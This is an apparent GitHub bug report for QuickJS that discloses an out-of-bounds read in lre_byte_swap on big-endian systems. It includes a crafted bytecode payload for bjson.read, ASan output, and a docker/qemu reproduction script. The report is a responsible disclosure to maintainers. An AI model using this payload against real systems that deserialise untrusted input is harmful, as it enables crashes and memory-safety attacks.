Skip to content

OOB Read in lre_byte_swap via deserialized regexp bytecode (Big-Endian only) #1376

@zzjas

Description

@zzjas

Description

n = reopcode_info[*p].size;

JS_ReadRegExp() (quickjs.c:38544) calls lre_byte_swap() on big-endian to fix up the stored little-endian bytecode, but the bytecode is never validated before the swap. An attacker-controlled opcode byte >= REOP_COUNT can cause an OOB read of reopcode_info.

PoC

const payload = new Uint8Array([
    0x17,                         // BC_VERSION = 23
    0x00,                         // atom_count LEB128 = 0
    0x11,                         // BC_TAG_REGEXP = 17
    0x02, 0x61,                   // pattern "a": LEB128(2) + 'a'
    0x12,                         // bytecode string: LEB128(18) = 9 bytes, narrow
    // --- 9-byte compiled regex bytecode buffer ---
    0x00, 0x00,                   // RE_HEADER_FLAGS (offset 0-1)
    0x00,                         // RE_HEADER_CAPTURE_COUNT (offset 2)
    0x00,                         // RE_HEADER_STACK_SIZE (offset 3)
    0x00, 0x00, 0x00, 0x01,       // RE_HEADER_BYTECODE_LEN (offset 4-7): value=1 via bswap
    0x1E,                         // OPCODE = 30 = REOP_COUNT → OOB in reopcode_info[30]
]);
console.log("[*] Triggering OOB read in lre_byte_swap via bjson.read()");
bjson.read(payload.buffer, 0, payload.byteLength, 0);
console.log("[!] Should not reach here — OOB read should have aborted");

Since it's big-endian only, running it is a bit tricky. I tried these two approaches:

  1. Comment out the is_be() check and run the above code with ASan enabled. This will give:
==2066600==ERROR: AddressSanitizer: global-buffer-overflow on address 0x56549ece83fe at pc 0x56549ec98d43 bp 0x7ffd934e3bc0 sp 0x7ffd934e3bb8
READ of size 1 at 0x56549ece83fe thread T0
    #0 0x56549ec98d42 in lre_byte_swap .../quickjs/libregexp.c:2583:31
    #1 0x56549eb0a443 in JS_ReadRegExp .../quickjs/quickjs.c:38547:5
    #2 0x56549eb0a443 in JS_ReadObjectRec .../quickjs/quickjs.c:38687:15
    ...
  1. Run the test in a docker + qemu setup:
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
IMAGE="ubuntu:22.04"
PLATFORM="linux/s390x"

echo "[*] Enabling QEMU binfmt support for big-endian emulation..."
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes

echo "[*] Running QuickJS build + PoC in $PLATFORM container (big-endian)..."
docker run --rm \
  --platform "$PLATFORM" \
  -v "$SCRIPT_DIR":/quickjs \
  "$IMAGE" bash -c '
    set -euo pipefail
    echo "[*] Installing build dependencies..."
    apt-get update -qq
    apt-get install -y -qq build-essential make clang cmake 2>/dev/null

    cd /quickjs

    echo "[*] Architecture: $(uname -m)"
    echo "[*] Byte order:   $(python3 -c "import sys; print(sys.byteorder)")"

    echo "[*] Building QuickJS (no ASan — incompatible with QEMU user-mode)..."
    cmake -B build -DCMAKE_C_COMPILER=clang -DCMAKE_BUILD_TYPE=RelWithDebInfo \
          -DQJS_BUILD_WERROR=OFF
    cmake --build build -j"$(nproc)"

    echo "[*] Running poc.js..."
    ./build/qjs --std poc.js
  '

This will give:

[*] Running poc.js...
[*] Triggering OOB read in lre_byte_swap via bjson.read()
/usr/bin/bash: line 18: 12038 Aborted                 (core dumped) ./build/qjs --std poc.js

Thanks for looking into this and we appreciate any feedback!

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions